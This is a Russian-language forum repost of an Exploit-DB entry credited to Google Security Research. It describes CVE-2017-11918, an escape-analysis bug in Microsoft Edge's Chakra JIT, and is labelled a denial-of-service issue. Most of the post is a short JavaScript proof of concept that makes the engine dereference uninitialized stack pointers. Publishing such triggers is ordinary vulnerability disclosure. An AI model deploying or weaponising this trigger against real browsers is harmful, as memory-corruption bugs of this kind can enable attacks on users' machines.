Exploit Microsoft Edge Chakra JIT - Escape Analysis Bug

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
43469
Проверка EDB
  1. Пройдено
Автор
GOOGLE SECURITY RESEARCH
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
cve-2017-11918
Дата публикации
2018-01-09
Microsoft Edge Chakra JIT - Escape Analysis Bug
Код:
/*
Escape analysis: https://en.wikipedia.org/wiki/Escape_analysis

Chakra fails to detect if "tmp" escapes the scope, allocates it to the stack. This may lead to dereference uninitialized stack values.

PoC:
*/

function opt() {
    let tmp = [];
    tmp[0] = tmp;
    return tmp[0];
}

function main() {
    for (let i = 0; i < 0x1000; i++) {
        opt();
    }

    print(opt());  // deref uninitialized stack pointers!
}

main();
 
Источник
www.exploit-db.com

Похожие темы